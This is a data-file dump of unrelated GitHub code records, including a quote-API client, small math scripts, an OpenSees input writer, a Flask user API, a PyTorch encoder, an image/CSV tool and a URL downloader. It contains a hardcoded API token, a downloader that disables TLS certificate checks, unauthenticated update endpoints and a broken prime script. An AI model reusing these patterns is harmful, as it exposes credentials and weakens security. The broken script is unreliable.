elif decision == 'next page':\n if kw_quotes[\"last_page\"] == False:\n print(f'25 more quotes associated with {keyword}')\n page = kw_quotes['page'] + 1\n kw_response = requests.get(f'https://favqs.com/api/quotes?page=+{page}&filter=+{keyword}', params={'format': 'json'}, headers = {'Authorization': 'Token token=\"855df50978dc9afd6bf86579913c9f8b\"'})\n kw_quotes = kw_response.json()\n quotes_list = kw_quotes['quotes']\n for quote in quotes_list:\n author = quote['author']\n body = quote['body']\n print(body, author)\n #print(get_quote())\n #if kw_quotes[\"last_page\"] == True:\n elif kw_quotes[\"last_page\"] == True:\n print(f\"Sorry, there aren't any more quotes associated with {keyword}\")\n keyword = input(\"Enter a keyword to search for quotes or exit to exit \")\n if keyword == 'exit':\n print('Thanks for visiting')\n break\n else:\n for quote in quotes_list:\n author = quote['author']\n body = quote['body']\n print(body, author)\n\n\n\n\n\n\n\n","repo_name":"PdxCodeGuild/class_opal","sub_path":"code/rachel/Python/lab11.py","file_name":"lab11.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"37073051727","text":"\ndef sum_3_5(n):\n\t\"\"\"\n\treturns the sum of multiples of 3 and 5 below n\n\t\"\"\"\n\tsum = 0\n\tfor i in range(n):\n\t\tif i%15 == 0:\n\t\t\tsum += i\n\t\t\tcontinue\n\t\telif i%5 == 0:\n\t\t\tsum += i\n\t\telif i%3 == 0:\n\t\t\tsum += i\n\treturn sum\n\nprint(sum_3_5(1000))\n\n","repo_name":"angelo-soyannwo/Python_Basics_A_Self-Teaching_Introduction","sub_path":"project euler/3or5.py","file_name":"3or5.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12347284576","text":"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport json\n\n\n# Author(s): Andrew Liew (github.com/andrewliew)\n\n\n__all__ = [\n 'Steps',\n]\n\n\ndofs = ['x', 'y', 'z', 'xx', 'yy', 'zz']\n\n\nclass Steps(object):\n\n def __init__(self):\n\n pass\n\n\n def write_steps(self):\n\n self.write_section('Steps')\n self.blank_line()\n\n displacements = self.structure.displacements\n loads = self.structure.loads\n steps = self.structure.steps\n sets = self.structure.sets\n fields = self.fields\n\n # temp folder\n\n temp = '{0}{1}/'.format(self.structure.path, self.structure.name)\n\n try:\n os.stat(temp)\n for file in os.listdir(temp):\n os.remove(os.path.join(temp, file))\n except:\n os.mkdir(temp)\n\n # Steps\n\n for key in self.structure.steps_order[1:]:\n\n step = steps[key]\n stype = step.__name__\n s_index = step.index\n factor = getattr(step, 'factor', 1)\n increments = getattr(step, 'increments', 100)\n iterations = getattr(step, 'iterations', 100)\n tolerance = getattr(step, 'tolerance', None)\n method = getattr(step, 'type')\n modes = getattr(step, 'modes', None)\n modify = getattr(step, 'modify', None)\n nlgeom = 'YES' if getattr(step, 'nlgeom', None) else 'NO'\n op = 'MOD' if modify else 'NEW'\n\n\n # =====================================================================================================\n # =====================================================================================================\n # HEADER\n # =====================================================================================================\n # =====================================================================================================\n\n if stype in ['GeneralStep', 'BucklingStep', 'ModalStep']:\n\n self.write_subsection(key)\n\n # -------------------------------------------------------------------------------------------------\n # OpenSees\n # -------------------------------------------------------------------------------------------------\n\n if stype != 'ModalStep':\n\n self.write_line('timeSeries Constant {0} -factor 1.0'.format(s_index))\n self.write_line('pattern Plain {0} {0} -fact {1} {2}'.format(s_index, 1, '{'))\n self.blank_line()\n\n # =====================================================================================================\n # =====================================================================================================\n # LOADS\n # =====================================================================================================\n # =====================================================================================================\n\n if getattr(step, 'loads', None):\n\n if isinstance(step.loads, str):\n step.loads = [step.loads]\n\n for k in step.loads:\n\n self.write_subsection(k)\n\n load = loads[k]\n ltype = load.__name__\n com = getattr(load, 'components', None)\n axes = getattr(load, 'axes', None)\n nodes = getattr(load, 'nodes', None)\n fact = factor.get(k, 1.0) if isinstance(factor, dict) else factor\n\n if com:\n gx = com.get('x', 0)\n gy = com.get('y', 0)\n gz = com.get('z', 0)\n\n if isinstance(nodes, str):\n nodes = [nodes]\n\n if isinstance(load.elements, str):\n elements = [load.elements]\n else:\n elements = load.elements\n\n # -------------------------------------------------------------------------------------------------\n # OpenSees\n # -------------------------------------------------------------------------------------------------\n\n # PointLoad\n # ---------\n\n if ltype == 'PointLoad':\n\n compnents = ' '.join([str(com[dof] * fact) for dof in dofs[:self.ndof]])\n\n for node in nodes:\n\n ns = sets[node].selection if isinstance(node, str) else node\n\n for ni in [i + 1 for i in ns]:\n self.write_line('load {0} {1}'.format(ni, compnents))\n\n # Gravity\n # -------\n\n elif ltype == 'GravityLoad':\n\n for nkey, node in self.structure.nodes.items():\n\n W = - fact * node.mass * 9.81\n self.write_line('load {0} {1} {2} {3}'.format(nkey + 1, gx * W, gy * W, gz * W))\n\n # LineLoad\n # --------\n\n elif ltype == 'LineLoad':\n\n if axes == 'global':\n\n raise NotImplementedError\n\n elif axes == 'local':\n\n elements = ' '.join([str(i + 1) for i in sets[k].selection])\n lx = -com['x'] * fact\n ly = -com['y'] * fact\n self.write_line('eleLoad -ele {0} -type -beamUniform {1} {2}'.format(elements, ly, lx))\n\n self.blank_line()\n\n self.blank_line()\n self.blank_line()\n\n\n # =====================================================================================================\n # =====================================================================================================\n # DISPLACEMENTS\n # =====================================================================================================\n # =====================================================================================================\n\n if getattr(step, 'displacements', None):\n\n if isinstance(step.displacements, str):\n step.displacements = [step.displacements]\n\n for k in step.displacements:\n\n displacement = displacements[k]\n com = displacement.components\n nodes = displacement.nodes\n\n if isinstance(nodes, str):\n nodes = [nodes]\n\n fact = factor.get(k, 1.0) if isinstance(factor, dict) else factor\n\n # -------------------------------------------------------------------------------------------------\n # OpenSees\n # -------------------------------------------------------------------------------------------------\n\n for node in nodes:\n\n ns = sets[node].selection if isinstance(node, str) else node\n\n for ni in [i + 1 for i in ns]:\n\n for c, dof in enumerate(dofs[:self.ndof], 1):\n if com[dof] is not None:\n self.write_line('sp {0} {1} {2}'.format(ni, c, com[dof]))\n\n self.blank_line()\n self.blank_line()\n\n # =====================================================================================================\n # =====================================================================================================\n # OUTPUT\n # =====================================================================================================\n # =====================================================================================================\n\n self.write_subsection('Output')\n\n # -------------------------------------------------------------------------------------------------\n # OpenSees\n # -------------------------------------------------------------------------------------------------\n\n # Node recorders\n\n node_output = {\n 'u': '1 2 3 disp',\n 'ur': '4 5 6 disp',\n 'rf': '1 2 3 reaction',\n 'rm': '4 5 6 reaction',\n }\n\n if stype != 'ModalStep':\n\n self.write_line('}')\n\n self.blank_line()\n self.write_subsection('Node recorders')\n\n prefix = 'recorder Node -file {0}{1}_'.format(temp, key)\n n = self.structure.node_count()\n\n for field in node_output:\n if field in fields:\n dof = node_output[field]\n self.write_line('{0}{1}.out -time -nodeRange 1 {2} -dof {3}'.format(prefix, field, n, dof))\n self.blank_line()\n\n # Sort elements\n\n truss_elements = ''\n beam_elements = ''\n spring_elements = ''\n truss_ekeys = []\n beam_ekeys = []\n spring_ekeys = []\n\n for ekey, element in self.structure.elements.items():\n\n eltype = element.__name__\n n = '{0} '.format(ekey + 1)\n\n if eltype == 'TrussElement':\n\n truss_elements += n\n truss_ekeys.append(ekey)\n\n elif eltype == 'BeamElement':\n\n beam_elements += n\n beam_ekeys.append(ekey)\n\n elif eltype == 'SpringElement':\n\n spring_elements += n\n spring_ekeys.append(ekey)\n\n # Element recorders\n\n self.blank_line()\n self.write_subsection('Element recorders')\n\n prefix = 'recorder Element -file {0}{1}_'.format(temp, key)\n\n if 'sf' in fields:\n\n if truss_elements:\n self.write_line('{0}sf_truss.out -time -ele {1} axialForce'.format(prefix, truss_elements))\n\n if beam_elements:\n self.write_line('{0}sf_beam.out -time -ele {1} localForce'.format(prefix, beam_elements))\n\n if 'spf' in fields:\n\n if spring_elements:\n self.write_line('{0}spf_spring.out -time -ele {1} basicForces'.format(prefix,\n spring_elements))\n\n # ekeys\n\n with open('{0}truss_ekeys.json'.format(temp), 'w') as file:\n json.dump({'truss_ekeys': truss_ekeys}, file)\n\n with open('{0}beam_ekeys.json'.format(temp), 'w') as file:\n json.dump({'beam_ekeys': beam_ekeys}, file)\n\n with open('{0}spring_ekeys.json'.format(temp), 'w') as file:\n json.dump({'spring_ekeys': spring_ekeys}, file)\n\n # Solver\n\n self.blank_line()\n self.write_subsection('Solver')\n self.blank_line()\n\n self.write_line('constraints Transformation')\n self.write_line('numberer RCM')\n self.write_line('system ProfileSPD')\n self.write_line('test NormUnbalance {0} {1} 5'.format(tolerance, iterations))\n self.write_line('algorithm NewtonLineSearch')\n self.write_line('integrator LoadControl {0}'.format(1. / increments))\n self.write_line('analysis Static')\n self.write_line('analyze {0}'.format(increments))\n\n else:\n\n self.blank_line()\n self.write_subsection('Node recorders')\n\n for mode in range(modes):\n prefix = 'recorder Node -file {0}{1}_u_mode-{2}'.format(temp, key, mode + 1)\n n = self.structure.node_count()\n self.write_line('{0}.out -nodeRange 1 {1} -dof 1 2 3 \"eigen {2}\"'.format(prefix, n, mode + 1))\n self.blank_line()\n\n self.write_subsection('Eigen analysis')\n\n self.write_line('set lambda [eigen {0}]'.format(modes))\n self.write_line('set omega {}')\n self.write_line('set f {}')\n self.write_line('set pi 3.141593')\n self.blank_line()\n self.write_line('foreach lam $lambda {')\n self.write_line(' lappend omega [expr sqrt($lam)]')\n self.write_line(' lappend f [expr sqrt($lam)/(2*$pi)]')\n self.write_line('}')\n self.blank_line()\n self.write_line('puts \"frequencies: $f\"')\n self.blank_line()\n self.write_line('set file \"{0}{1}_frequencies.txt\"'.format(temp, key))\n self.write_line('set File [open $file \"w\"]')\n self.blank_line()\n self.write_line('foreach t $f {')\n self.write_line(' puts $File \" $t\"')\n self.write_line('}')\n self.write_line('close $File')\n self.blank_line()\n self.write_line('record')\n","repo_name":"compas-dev/compas_fea2","sub_path":"src/compas_fea2/backends/opensees/__writer/steps.py","file_name":"steps.py","file_ext":"py","file_size_in_byte":13801,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"1163536819","text":"from baidu.classes.response_result import ResponseResult\nfrom json_utility import JsonUtility\n\n\n@JsonUtility.register\nclass ResponseData:\n def __init__(self, error_code: int = 0, error_msg: str = None, result: ResponseResult = None):\n self.error_code = error_code\n self.error_msg = error_msg\n self.result = result\n","repo_name":"chaolunner/PythonFramework","sub_path":"baidu/classes/response_data.py","file_name":"response_data.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8427152958","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Created by Cphayim at 2018/7/4 20:17\n\"\"\"\nfrom flask import jsonify, g\n\nfrom app.libs.error_code import NotFound, DeleteSuccess, AuthFailed\nfrom app.libs.redprint import Redprint\nfrom app.libs.token_auth import auth\nfrom app.models.base import db\nfrom app.models.user import User\n\n__author__ = 'Cphayim'\n\napi = Redprint('user', url_prefix='/user')\n\n\n@api.route('/', methods=['GET'])\n@auth.login_required\ndef super_get_user(uid):\n \"\"\"\n 查询指定用户 - 管理员接口\n :param uid: 用户 id\n :return:\n \"\"\"\n user = User.query.filter_by(id=uid).first_or_404()\n return jsonify(user)\n\n\n@api.route('', methods=['GET'])\n@auth.login_required\ndef get_user():\n \"\"\"\n 查询当前用户\n :return:\n \"\"\"\n uid = g.user.uid\n user = User.query.filter_by(id=uid).first_or_404()\n return jsonify(user)\n\n\n@api.route('/', methods=['DELETE'])\n@auth.login_required\ndef super_delete_user(uid):\n \"\"\"\n 删除指定用户 - 管理员接口\n :param uid: 用户 id\n :return:\n \"\"\"\n with db.auto_commit():\n user = User.query.filter_by(id=uid).first_or_404()\n user.delete()\n return DeleteSuccess()\n\n\n@api.route('', methods=['DELETE'])\n@auth.login_required\ndef delete_user():\n \"\"\"\n 删除当前用户\n :return:\n \"\"\"\n uid = g.user.uid\n with db.auto_commit():\n user = User.query.filter_by(id=uid).first_or_404()\n user.delete()\n return DeleteSuccess()\n\n\n@api.route('/', methods=['PUT'])\ndef super_update_user(uid):\n return 'super update user'\n\n\n@api.route('', methods=['PUT'])\ndef update_user():\n return 'update user'\n\n# @api.route('/', methods=['DELETE'])\n# def delete_user():\n# return 'delete user'\n","repo_name":"vrn-deco/boilerplate","sub_path":"packages/python/flask-sqlalchemy/boilerplate/app/api/v1/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"27271786490","text":"M,N=map(int, input().split()) #M과 N을 입력 받는다\n\ndef chk(num): #소수배열을 반환하는 함수\n #에라토스테네스의 체를 이용하여 소수를 찾는다\n arr=[True] * (num+1)#true를 가진 빈배열을 생성한다\n for i in range(2, num):\n if arr[i]: #값이 true라면\n j=2\n while (i*j <=num):#i의 배수인 인덱스를 전부 False로 바꿔준다\n arr[i*j]=False\n j=j+1\n return arr#배열 반환\n\narr=chk(M,N)\nfor i in range(M,N+1):\n if(arr[i] and i!=1):#값이 true이고 i=1아닐때\n print(i)#출력한다","repo_name":"mseo39/python","sub_path":"python_algorithm/step9/1929.py","file_name":"1929.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21992847097","text":"def uniquePathsIII(grid):\n row = len(grid)\n col = len(grid[0])\n row_i, col_j, rowf_i, colf_j = 0, 0, 0, 0\n neededColumns = 2\n obs = []\n\n for i in range (row) :\n for j in range (col) :\n if grid[i][j] == 1 : row_i, col_j = i, j\n elif grid[i][j] == 2 : rowf_i, colf_j = i, j\n elif grid[i][j] == 0 : neededColumns += 1\n else : \n obs.append([i,j])\n\n visitedPath = []\n solution, no_box = 0, 0\n\n def recursion(visitedPath, currentCoor_i, currentCoor_j, no_box) :\n if currentCoor_i == rowf_i and currentCoor_j == colf_j:\n if no_box == neededColumns-1 :\n solution+=1\n no_box=0\n return\n \n if 0<=currentCoor_i 255:\n\t\tcolor = 255\n\n\tpixels[x, y] = (color, 0, 0)\n\nim.save(\"output.png\")","repo_name":"placebot-project/placebot","sub_path":"heatmap.py","file_name":"heatmap.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"31826892676","text":"\"\"\"\nPrint the nth prime number\nComplete the given method solve that takes as parameter an integer n and prints the nth prime number.\n\nExample, the first prime number is 2. The next prime number: 3. The 7th prime number is 17\n\nExample Input: 1\nOutput: 2\nExample Input: 3\nOutput: 5\nExample Input: 7\nOutput: 17\n\"\"\"\nimport math\n\n\ndef solve(n):\n count = 0\n i = 1\n while count <= n:\n if isPrime(i):\n count += 1\n i += 1\n print(i - 1)\n\n\ndef isPrime(n):\n if (n == 2) or (n == 3):\n return True\n if (n % 6 == 1) or (n % 6 == 5):\n for i in range(2, int(math.sqrt(n) + 1)):\n if n % i == 0:\n return False\n return True\n return False\n\n\nsolve(7)","repo_name":"UdayKiranPadhy/DS-And-Algo","sub_path":"Algorithms And Techniques/Edyst Program/Edyst Python Ds/Loops and 2D lists/Nested Loops/nth prime.py","file_name":"nth prime.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"11427086682","text":"import torch\nimport torch.nn as nn\nimport json\nimport os\nfrom common.early_stopping import EarlyStopping\nfrom collections import OrderedDict\nimport argparse\nfrom common.util import mkdir_if_not_exists\nfrom common.metrics import NO_OUTLINE_MASK\n\n\nclass Encoder(nn.Module):\n def __init__(self, zs_size, nr_size, n_coords=68):\n super(Encoder, self).__init__()\n\n self.zs_size = zs_size\n self.nr_size = nr_size\n\n hidden_size = 1024\n\n self.layers = nn.Sequential(OrderedDict([\n ('lin1', nn.Linear(in_features=2*n_coords, out_features=hidden_size)),\n ('relu1', nn.ReLU()),\n ('lin3', nn.Linear(in_features=hidden_size, out_features=self.zs_size + self.nr_size)),\n ]))\n\n self.n_coords = n_coords\n\n def forward(self, x):\n # Note: The result of the encoder differs on TITAN X and K40 if no double precision is used. It is just commented\n # out because we want to reproduce gridsearch results. Might be a good idea to change this some day\n #x = x.double()\n #self.layers = self.layers.double()\n x = self.layers(x)\n return x.float()\n\n def get_separated(self, x):\n zs = x[:, :self.zs_size]\n nr = x[:, self.zs_size:]\n return zs, nr\n\n\ndef train(train_data, test_data, is_49lm=False):\n if is_49lm:\n n_coords = 49\n x = torch.tensor(train_data[\"coords\"], device=device)[:,NO_OUTLINE_MASK,:].view(-1, n_coords * 2)\n else:\n n_coords = 68\n x = torch.tensor(train_data[\"coords\"], device=device).view(-1, n_coords * 2)\n\n y_zs = torch.tensor(train_data[\"zs\"], device=device)\n y_nr = torch.tensor(train_data[\"nr\"], device=device)\n\n bs = 32\n epochs = 250\n n = x.shape[0]\n\n enc = Encoder(zs_size=y_zs.shape[1], nr_size=y_nr.shape[1],n_coords=n_coords).to(device)\n enc.train()\n\n mse = nn.MSELoss()\n optimizer = torch.optim.Adam(enc.parameters(), lr=0.001)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, factor=0.1, patience=15, verbose=True, threshold=10e-3)\n should_stop = EarlyStopping(patience=int(scheduler.patience * 2.5), max_ratio=0.995)\n\n for epoch in range(epochs):\n epoch_loss = 0.0\n perm = torch.randperm(n)\n\n for i in range(n//bs + 1):\n optimizer.zero_grad()\n start, end = i*bs, (i+1)*bs\n batch_idxes = perm[start:end]\n\n batch = x[batch_idxes]\n if batch.shape[0] < 1:\n continue\n\n pred = enc(batch)\n pred_zs, pred_nr = enc.get_separated(pred)\n gt_zs = y_zs[batch_idxes]\n gt_nr = y_nr[batch_idxes]\n\n loss = mse(pred_zs, gt_zs) + mse(pred_nr, gt_nr)\n loss.backward()\n optimizer.step()\n\n epoch_loss += loss.data.item() * pred_nr.shape[0]\n\n epoch_loss /= n\n\n testloss = test(enc, test_data, is_49lm=is_49lm)\n if should_stop(testloss):\n print(\"Early stopping\")\n break\n scheduler.step(testloss)\n\n if epoch % 50 == 0:\n print(\"Epoch %d | %d LMs | Train loss %0.5f | Test loss %0.5f\" % (epoch, n_coords, epoch_loss, testloss))\n\n return enc\n\n\ndef test(encoder, test_data, is_49lm=False):\n encoder.eval()\n\n if is_49lm:\n n_coords = 49\n x = torch.tensor(test_data[\"coords\"], device=device)[:,NO_OUTLINE_MASK,:].view(-1, n_coords * 2)\n else:\n n_coords = 68\n x = torch.tensor(test_data[\"coords\"], device=device).view(-1, n_coords * 2)\n\n y_zs = torch.tensor(test_data[\"zs\"], device=device)\n y_nr = torch.tensor(test_data[\"nr\"], device=device)\n\n n = x.shape[0]\n bs = 512\n\n mse = nn.MSELoss()\n\n loss = 0.0\n\n with torch.no_grad():\n for i in range(n // bs + 1):\n start, end = i * bs, (i + 1) * bs\n\n batch = x[start:end]\n if batch.shape[0] < 1:\n continue\n\n pred = encoder(batch)\n pred_zs, pred_nr = encoder.get_separated(pred)\n gt_zs = y_zs[start:end]\n gt_nr = y_nr[start:end]\n\n loss += (mse(pred_zs, gt_zs) + mse(pred_nr, gt_nr)).data.item() * pred_nr.shape[0]\n\n encoder.train()\n loss /= n\n return loss\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"zs_and_nr_from_pdm\", type=str, help=\"json file with zs, nr and coords after PDM training\")\n parser.add_argument(\"target\", type=str, help=\"Where to store encoder (.torch)\")\n parser.add_argument(\"--is_49lm\", default=False, action=\"store_true\")\n parser.add_argument(\"--gpu\", type=int, default=-1, help=\"GPU id, -1 = CPU\")\n args = parser.parse_args()\n\n device = torch.device(\"cuda:%d\" % args.gpu if args.gpu >= 0 else \"cpu\")\n #print(device)\n data = json.load(open(args.zs_and_nr_from_pdm, \"r\"))\n\n enc = train(data[\"train\"], data[\"test\"], is_49lm=args.is_49lm)\n test_loss = test(enc, data[\"test\"], is_49lm=args.is_49lm)\n print(\"Final test loss\", test_loss)\n mkdir_if_not_exists(os.path.dirname(args.target))\n\n\n torch.save({\n \"state_dict\" : enc.state_dict(),\n \"zs_size\" : enc.zs_size,\n \"nr_size\" : enc.nr_size\n }, open(args.target, \"wb\"))","repo_name":"simonhessner/masters-thesis-final","sub_path":"code/pdm/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"41592983281","text":"from tkinter import *\nfrom tkinter.filedialog import *\n\nimport csv\nimport math\nimport os\n\n\n# ============= Functions ===========================================================\n\n# Allocate memory and return list\ndef malloc(h, w):\n retMemory = [[0 for _ in range(w)] for _ in range(h)]\n return retMemory\n\ndef loadImage(fname):\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n\n fsize = os.path.getsize(fname) # File size (byte)\n inH = inW = int(math.sqrt(fsize))\n\n # Prepare empty memory for input image\n inImage = malloc(inH, inW)\n\n # File --> Memory\n with open(fname, \"rb\") as rFp:\n for i in range(inH):\n for k in range(inW):\n inImage[i][k] = int(ord(rFp.read(1)))\n\n# Select a file and load it into memory\ndef openImage():\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n filename = askopenfilename(parent=window, filetypes=((\"RAW File\", \"*.raw\"), (\"All File\", \"*.*\")))\n loadImage(filename)\n equalImage()\n\ndef saveImage():\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n pass\n\ndef displayImage():\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n if canvas != None: # If executed before\n canvas.destroy()\n\n window.geometry(\"{}x{}\".format(outH, outW)) # Empty wall\n canvas = Canvas(window, height=outH, width=outW) # Empty board\n paper = PhotoImage(height=outH, width=outW) # Empty paper\n canvas.create_image((outH//2, outW//2), image=paper, state=\"normal\") # First arg: the middle point\n\n # Display by painting dot by dot\n rgbStr = \"\"\n for i in range(outH):\n tmpStr = \"\"\n for k in range(outW):\n r = g = b = outImage[i][k]\n tmpStr += \" #%02x%02x%02x\"%(r, g, b)\n rgbStr += \"{\" + tmpStr + \"} \"\n paper.put(rgbStr)\n canvas.pack(expand=1, anchor=CENTER)\n\n# ============= Functions for Computer Vision(Image Processing) Algorithm ===========\n\ndef equalImage():\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n # Attention: display size required!!\n outH = inH; outW = inW\n\n # Memory Allocation\n outImage = malloc(outH, outW)\n\n # Main Code\n for i in range(inH):\n for k in range(inW):\n outImage[i][k] = inImage[i][k]\n\n displayImage()\n\n# ============= For CSV Operation ==================================================\n\ndef toCsv():\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n header = (\"Row\", \"Column\", \"Value\")\n csvList =[]\n for i in range(outH):\n for k in range(outW):\n csvList.append([i, k, outImage[i][k]])\n return csvList, header\n\ndef saveCSV():\n csvList, Header = toCsv()\n\n # Choose save path\n saveFp = asksaveasfile(parent=window, mode='wt', defaultextension=\"*.csv\",\n filetypes=((\"CSV File\", \"*.csv\"), (\"All File\", \"*.*\")))\n with open(saveFp.name, \"w\", newline='') as wFp:\n writer = csv.writer(wFp)\n writer.writerow(Header)\n for row in csvList:\n writer.writerow(row)\n\ndef openCSV():\n global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH\n openFp = askopenfilename(parent=window, filetypes=((\"CSV File\", \"*.csv\"), (\"All File\", \"*.*\")))\n with open(openFp) as rFp:\n reader = csv.reader(rFp)\n next(reader) # Header can be ignored\n\n tmpList = []\n numRow = 0 # To get inH\n for row in reader:\n i, k, v = map(int, row) # CSV file is basically formed as strings\n tmpList.append([i, k, v])\n if numRow < i:\n numRow = i\n\n inH = inW = numRow + 1\n inImage = malloc(inH, inW)\n\n for i, k, v in tmpList:\n inImage[i][k] = v\n\n equalImage()\n\n\n\n\n# ============= Global Variables ====================================================\n\ninImage, outImage = [], []\ninW, inH, outW, outH = [0] * 4\nwindow, canvas, paper =[None] * 3\nfilename = \"\"\n\n\n# ============= Main Code ==========================================================\n\nif __name__ == '__main__':\n window = Tk()\n window.title('Computer Vision (CSV) v0.01')\n window.geometry(\"500x500\")\n\n mainMenu = Menu(window)\n window.config(menu=mainMenu)\n\n fileMenu = Menu(mainMenu)\n mainMenu.add_cascade(label=\"File\", menu=fileMenu)\n fileMenu.add_command(label=\"Open\", command=openImage)\n fileMenu.add_separator()\n fileMenu.add_command(label=\"Save\", command=saveImage)\n\n comVisionMenu1 = Menu(mainMenu)\n mainMenu.add_cascade(label=\"CSV\", menu=comVisionMenu1)\n comVisionMenu1.add_command(label=\"Save as CSV\", command=saveCSV)\n comVisionMenu1.add_command(label=\"Open CSV\", command=openCSV)\n\n window.mainloop()","repo_name":"Roasters/ComputerVision","sub_path":"Mission09.py","file_name":"Mission09.py","file_ext":"py","file_size_in_byte":4835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9142343193","text":"import os\nimport ssl\nimport sys\nimport time\nimport urllib.request\nfrom urllib.parse import urlparse\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nclass Reporter:\n\n def __init__(self, debug):\n self.transferred = 0\n self.debug = debug\n self.percent = 0\n\n def progress(self, chunk_number, chunk_size, total_size):\n if self.debug is not None:\n if self.debug == \"verbose\":\n self.transferred += chunk_size\n # print(str(transferred) + \" of \" + str(total_size))\n if total_size - self.transferred > 0:\n print(str(total_size - self.transferred) + \" remaining\")\n elif self.debug == \"dot\":\n self.transferred += chunk_size\n new_percent = int(self.transferred/total_size*100)\n if new_percent > self.percent:\n self.percent = new_percent\n print(\".\", end='')\n elif self.debug == \"percent\":\n self.transferred += chunk_size\n new_percent = int(self.transferred/total_size*100)\n if new_percent > self.percent:\n self.percent = new_percent\n print(str(self.percent) + \"%\")\n sys.stdout.flush()\n\n\nclass Connector:\n\n def __init__(self):\n self.parameters = dict()\n\n def __str__(self):\n return \"URLConnector\"\n\n def load(self, *args, **kwargs):\n if isinstance(args, dict):\n # print(args)\n self.parameters = args\n else:\n # print(args[0])\n self.parameters = args[0]\n\n def download(self, url: str, file_path='', progress: str = None, attempts=2):\n \"\"\"Downloads a URL content into a file (with large file support by streaming)\n\n :param url: URL to download\n :param file_path: Local file name to contain the data downloaded\n :param attempts: Number of attempts\n :return: New file path. Empty string if the download failed\n \"\"\"\n if not file_path:\n file_path = os.path.realpath(os.path.basename(url))\n url_sections = urlparse(url)\n if not url_sections.scheme:\n # logger.debug('The given url is missing a scheme. Adding http scheme')\n url = f'http://{url}'\n # logger.debug(f'New url: {url}')\n for attempt in range(1, attempts + 1):\n ckc = 0\n try:\n if attempt > 1:\n time.sleep(10) # 10 seconds wait time between downloads\n with requests.get(url, stream=True, verify=False) as response:\n h = response.headers\n total_size = 0\n if \"Content-Length\" in h:\n total_size = int(h[\"Content-Length\"])\n response.raise_for_status()\n with open(file_path, 'wb') as out_file:\n for chunk in response.iter_content(chunk_size=8192): # 1MB chunks\n out_file.write(chunk)\n if progress is not None:\n progress(ckc, 8192, total_size)\n ckc += 1\n\n # logger.info('Download finished successfully')\n return file_path\n except Exception as ex:\n # logger.error(f'Attempt #{attempt} failed with error: {ex}')\n pass\n return ''\n\n def connect(self, command: str, file: str, debug: str):\n\n if os.environ.get(\"ANSIBOOT_DRY_RUN\") is not None:\n print(\"URL STRING:\" + command)\n else:\n chunk = 0\n r = Reporter(debug)\n self.download(command, file, attempts=2, progress=r.progress)\n # with urllib.request.urlopen(command, context=ssl.SSLContext()) as url:\n # meta = url.headers\n # print(\"Content-Length:\", meta[\"Content-Length\"])\n # with open(file, 'wb') as f:\n # b = url.read()\n #\n # f.write(b)\n\n # print(url.read())\n\n\n #urllib3.request.urlretrieve(command, filename=file, reporthook=r.progress)\n\n return command\n\n def play(self, play, variables=None):\n url = None\n debug = None\n method = \"get\"\n if \"url\" in play:\n url = play[\"url\"]\n if \"method\" in play:\n method = str(play[\"method\"]).lower()\n if \"dest\" in play:\n file = play[\"dest\"]\n if \"progress\" in play:\n debug = play[\"progress\"]\n\n if url is not None:\n if method == \"get\":\n command_text = url\n c = self.connect(command_text, file=file, debug=debug)\n print(\"Transfer Complete.\")\n sys.stdout.flush()\n elif method == \"post\":\n pass\n\n def get(self, name):\n if name in self.parameters:\n return self.parameters[name]\n else:\n return None\n\n\ndef apply_vars(var_value):\n value = var_value\n if value is None:\n return var_value\n for k, v in os.environ.items():\n rk = \"$\" + k\n if rk in value:\n value = str(value).replace(rk, v)\n #print(kv + \" = \" + str(value))\n return value","repo_name":"miketbush/ansiboot","sub_path":"url_connector.py","file_name":"url_connector.py","file_ext":"py","file_size_in_byte":5394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21899910292","text":"#!/usr/bin/env python\n# python script to do extract B feed down correction factors\n\nimport yaml\nimport IPython\nimport ROOT\nimport DMesonJetUtils\n\nglobalList = []\n\ninput_path = \"/Volumes/DATA/ALICE/JetResults\"\n\n\ndef GetMeasuredCrossSection():\n fname = \"{0}/JetPtSpectrum_DPt_30_Systematics.root\".format(input_path)\n file = ROOT.TFile(fname)\n if not file or file.IsZombie():\n print(\"Could not open file {0}\".format(fname))\n exit(1)\n hStat = DMesonJetUtils.GetObject(file, \"FinalSpectrum/CentralPointsStatisticalUncertainty\")\n if not hStat:\n print(\"Cannot get measured cross section 